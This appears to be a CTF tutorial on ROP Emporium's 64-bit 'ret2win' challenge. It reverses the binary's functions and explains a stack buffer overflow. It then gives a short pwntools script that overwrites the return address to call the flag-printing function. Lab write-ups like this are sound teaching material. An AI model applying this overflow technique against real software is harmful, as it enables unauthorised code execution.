rop2win

ALl the challenges in this section are going to be 64-bit challenges. ROP in 32-bit is almost trivial because we pass parameters on the stack rather than the registers, meaning that crafting payloads is super simple. In 64-bit, we need to find ways to load the registers with our desired parameters, which is much more difficult.

The challenge is very similar to win64. We need to be mindful that we are in 64-bit.

Static Analysis

The primary functions we see in the binary are:

```
0x0000000000400697  main
0x00000000004006e8  pwnme
0x0000000000400756  ret2win
```

`ret2win()`

This function is very simple. The string values are statically loaded, and we can easily reverse this function:

```
void win()
{
    puts("Well done! Here's your flag:");
    system("/bin/cat flag.txt");
}
```

`main()`

This function makes a series of back to back `puts()` calls and then calls `read_in`. In 64-bit, these calls are super easy to interpret given that you know the paramter register order.

```
int main()
{
    setvbuf(stdout, 0, 2);
    puts("ret2win by ROP Emporium");
    puts("x86_64\n");
    pwnme();
    puts("\nExiting");
    return 0;
}
```

`pwnme()`

Just like the last two, we can pretty easily determine the C code for this function. The only one that's confusing is `memset`, whose declaration is in the `man` pages.

```
void *memset(void *s, int c, size_t n);
```

Based on what's loaded to the registers, we can tell the function call is `memset(rbp-0x20, 0, 0x20)`:

```
   0x00000000004006f0 <+8>: lea    rax,[rbp-0x20]
   0x00000000004006f4 <+12>:    mov    edx,0x20
   0x00000000004006f9 <+17>:    mov    esi,0x0
   0x00000000004006fe <+22>:    mov    rdi,rax
   0x0000000000400701 <+25>:    call   0x400580 <memset@plt>
```

Let's put the rest of the function together:

```
void pwnme()
{
    memset(rbp-0x20, 0, 0x20);
    puts("For my first trick, I will attempt to fit 56 bytes of user input
into 32 bytes of stack buffer!");
    puts("What could possibly go wrong?");
    puts("You there, may I have your input please? And don't worry about
null bytes, we're using read()!\n");
    printf("> ");
    read(0, rbp-0x20, 0x38);
    puts("Thank you!");
    return;
}
```

> *If you're struggling to put the C code together, that's okay! This is one of the hardest parts of binary exploitation. It comes with lots of practice! Keep practicing using `gdb` to dissect binaries. Try making your own, then looking at them to reassemble the code you wrote.*

Based on this code, we see that there is a clear buffer overflow vulnerability. We are reading `0x38=56` bytes into the `0x20=32` byte buffer allocated.

Writing the Payload

Like win64, we need to track the following information:

1. What is the size of the buffer? In our case, it's `0x20` bytes to the base pointer, plus `0x8` bytes for the base pointer, totalling `0x28=40` bytes.
2. Where are we going? We need to overwrite the return pointer with the address of `win()`, which is at `0x400756`.
3. Does our input cause the `movaps` instruction to fail? Our payload is `48` bytes in total, which is divisible by `16`, meaning that we should be fine.

Let's write the exploit just like we wrote the win64 one:

```
from pwn import *

proc = process('./rop2win')

f_win = 0x400756

padding = b'A' * 40

ropChain = b''
ropChain += p64(f_win)

buf = padding + ropChain

print(proc.recvuntil(b'> '))
proc.sendline(buf)
proc.interactive()
```

Two notes here:

1. We will consistently read until the > before sending our input, because that's how ROP emporium formats their challenges.
2. We will distinguish between padding and payload (ROP chain) to illustrate the difference.

Most of our exploit files for this section will look the same. We will establish our process, then our critical functions and gadgets, then build the padding and ROP chain, then send it to the process.

If we send this off, we'll get our flag!